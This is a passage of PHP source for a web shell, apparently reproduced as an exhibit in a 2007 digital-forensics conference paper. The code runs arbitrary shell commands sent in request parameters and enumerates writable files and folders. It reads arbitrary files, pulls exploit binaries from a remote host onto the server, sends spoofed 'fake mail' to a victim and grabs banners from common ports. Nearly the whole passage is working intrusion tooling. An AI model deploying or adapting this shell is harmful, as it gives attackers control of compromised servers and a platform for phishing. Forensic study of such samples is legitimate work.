    <TD><DIV STYLE="font-family: tahoma; font-size: 15px;">Web Server: <?= 
"$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD> 
  </TR> 
</TABLE> 
<BR> 
<?php 
 
  if ($cmd != "") { 
    echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\"></DIV>"; 
 
?> 
 
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; 
color: #808080;">Command Prompt</DIV> 
<?php 
 
if ($fe == 1){ 
$fe = "exec"; 
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} 
if ($fe == ""){ 
$fe = "passthru"; 
} 
if ($fe == "2"){ 
$fe = "system"; 
} 
 
    if (isset($chdir)) @chdir($chdir); 
 
    ob_start( ); 
 $fe("$cmd  2>&1"); 
 $output = ob_get_contents(); 
    ob_end_clean( ); 
 
?> 
<TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 
12px;"> 
<?php 
 
    if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", 
"&lt;", $output)); 
?> 
</TEXTAREA> 
<BR> 
<?php 
 
  } 
  
  if ($safemode != "") { 
    echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] 
Safemode Mode Run</DIV>"; 
 
?> 
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; 
color: #F3A700;">Safe Mode Directory Listing</DIV> 
<?php 
 
    if ($dir = @opendir($chdir)) { 
 echo "<TABLE border=1 cellspacing=1 cellpadding=0>"; 
 echo "<TR>"; 
 echo "<TD valign=top>"; 
 echo "<b><font size=2 face=arial>List All Files</b> <br><br>"; 
 while (($file = readdir($dir)) !== false) { 
   if (@is_file($file)) { 
$file1 = fileowner($file); 
$file2 = fileperms($file); 
  echo "<font color=green>$file1 - $file2 - <a 
href=$SCRIPT_NAME?$QUERY_STRING&see=$file>$file</a><br>";  
   // echo "<font color=green>$file1 - $file2 - $file </font><br>"; 
flush( ); 
   } 
 } 
 
 echo "</TD>"; 
 echo"<TD valign=top>"; 
 echo "<b><font size=2 face=arial>List Only Folders</b> <br><br>"; 
Conference on Digital Forensics, Security and Law, 2007 
 
134 
 if ($dir = @opendir($chdir)) { 
   while (($file = readdir($dir)) !== false) { 
if (@is_dir($file)) { 
  $file1 = fileowner($file); 
  $file2 = fileperms($file); 
echo "<font color=blue>$file1 - $file2 - <a 
href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>";  
  // echo "<font color=blue>$file1 - $file2 - $file </font><br>"; 
} 
   } 
 } 
 echo "</TD>"; 
 echo"<TD valign=top>"; 
 echo "<b><font size=2 face=arial>List Writable Folders</b><br><br>"; 
 if ($dir = @opendir($chdir)) { 
   while (($file = readdir($dir)) !== false) { 
if (@is_writable($file) && @is_dir($file)) { 
  $file1 = fileowner($file); 
  $file2 = fileperms($file); 
  echo "<font color=red>$file1 - $file2 - $file </font><br>"; 
} 
   } 
 } 
 echo "</TD>"; 
 echo "</TD>"; 
 echo "<TD valign=top>"; 
 echo "<b><font size=2 face=arial>List Writable Files</b> <br><br>"; 
  
 if ($dir = opendir($chdir)) { 
   while (($file = readdir($dir)) !== false) { 
if (@is_writable($file) && @is_file($file)) { 
  $file1 = fileowner($file); 
  $file2 = fileperms($file); 
    echo "<font color=red>$file1 - $file2 - $file </font><br>"; 
} 
   } 
 } 
 echo "</TD>"; 
 echo "</TR>"; 
 echo "</TABLE>"; 
    } 
  } 
 
?> 
<?php 
 
 
?> 
</CENTER> 
<pre><font face="Tahoma" size="2"> 
<?php 
 
// Function to Visualize Source Code files  
if ($see != "") { 
  $fp = fopen($see, "r");  
  $read = fread($fp, 30000);  
  echo "============== $see ================<br>"; 
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  echo "<textarea name=textarea cols=80 rows=15>";  
  echo "$read";  
  Echo "</textarea>";  
} 
 
// Function to Dowload Local Xploite Binary COde or Source Code 
 
if ($dx != "") { 
  $fp = @fopen("$hostxpl",r); 
  $fp2 = @fopen("$storage","w"); 
  fwrite($fp2, ""); 
  $fp1 = @fopen("$storage","a+"); 
  for (;;) { 
    $read = @fread($fp, 4096); 
    if (empty($read)) break; 
    $ok = fwrite($fp1, $read); 
     
    if (empty($ok)) { 
 echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error 
Has Ocurred While Uploading File</DIV>"; 
 break; 
    } 
  } 
 
  if (!empty($ok)) { 
    echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] File 
Was Successfuly Uploaded</DIV>"; 
  } 
} 
 
flush( ); 
 
// Function to visulize Format Color Source Code PHP 
 
if ($sfc != "") { 
  $showcode = show_source("$sfc"); 
  echo "<font size=4> $showcode </font>"; 
} 
 
// Function to Visualize all infomation files 
if ($fileinfo != "") { 
  $infofile = stat("$fileanalize"); 
  while (list($info, $value) = each ($infofile)) { 
    echo" Info: $info  Value: $value <br>"; 
  } 
} 
 
// Function to send fake mail 
if ($fake == 1) { 
  echo "<FORM METHOD=POST ACTION=\"$SCRIPT_NAME?$QUERY_STRING&send=1\">"; 
  echo "Your Fake Mail <INPUT TYPE=\"\" NAME=\"yourmail\"><br>"; 
  echo "Your Cavy:<INPUT TYPE=\"\" NAME=\"cavy\"><br>"; 
  echo "Suject: <INPUT TYPE=\"text\" NAME=\"subject\"><br>"; 
  echo "Text: <TEXTAREA NAME=\"body\" ROWS=\"\" COLS=\"\"></TEXTAREA><br>"; 
  echo "<INPUT TYPE=\"hidden\" NAME=\"send\" VALUE=\"1\"><br>"; 
  echo "<INPUT TYPE=\"submit\" VALUE=\"Send Fake Mail\">"; 
  echo "</FORM>"; 
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} 
 
if($send == 1) { 
  if (mail($cavy, $subject, $body, "From: $yourmail\r\n")) { 
    echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Mail 
Send Sucessfuly</DIV>"; 
  } else { 
    echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An 
Error Has Ocurred While Sending Mail</DIV>"; 
  } 
} 
 
if ($portscan != "") { 
  $port = array ("21","22","23","25","110",); 
  $values = count($port); 
  for ($cont=0; $cont < $values; $cont++) { 
    @$sock[$cont] = Fsockopen($SERVER_NAME, $port[$cont], $oi, $oi2, 1); 
    $service = Getservbyport($port[$cont],"tcp"); 
    @$get = fgets($sock[$cont]); 
    echo "<br>Port: $port[$cont] - Service: $service<br><br>"; 
    echo "<br>Banner: $get <br><br>"; 
    flush(); 
  } 
} 
 
?>  
</font></pre>  
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